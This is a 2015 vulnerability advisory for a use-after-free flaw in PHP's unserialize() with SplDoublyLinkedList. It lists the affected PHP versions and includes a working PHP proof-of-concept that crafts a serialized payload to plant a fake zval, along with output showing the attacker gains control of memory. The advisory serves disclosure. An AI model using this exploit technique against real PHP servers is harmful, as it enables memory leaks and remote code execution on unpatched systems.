Yet Another Use After Free Vulnerability in unserialize() with SplDoublyLinkedList
Taoguang Chen <[@chtg](http://github.com/chtg)> -
Write Date: 2015.8.27
Release Date: 2015.9.4
A use-after-free vulnerability was discovered in unserialize() with SplDoublyLinkedList object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
Affected Versions
------------
Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
while(*p == ':') {
++p;
ALLOC_INIT_ZVAL(elem);
if (!php_var_unserialize(&elem, &p, s + buf_len, &var_hash TSRMLS_CC)) {
zval_ptr_dtor(&elem);
goto error;
}
spl_ptr_llist_push(intern->llist, elem TSRMLS_CC);
}
It has been demonstrated many times before that __wakeup() leads to
ZVAL is freed from memory. However during deserialization will still
allow to use R: or r: to set references to that already freed memory.
It is possible to use-after-free attack and execute arbitrary code
remotely.
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.
<?php
class obj {
var $ryat;
function __wakeup() {
$this->ryat = 1;
}
}
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner = 'i:1234;:i:1;';
$exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';
$data = unserialize($exploit);
var_dump($data);
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
?>
Test the PoC on the command line:
$ php uafpoc.php
array(5) {
[0]=>
int(1)
[1]=>
&int(1)
[2]=>
object(obj)#2 (1) {
["ryat"]=>
&int(1)
}
[3]=>
array(1) {
[0]=>
int(1122334455) <=== so we can control the memory and create fake ZVAL :)
}
[4]=>
string(24) "?v?B????"
}
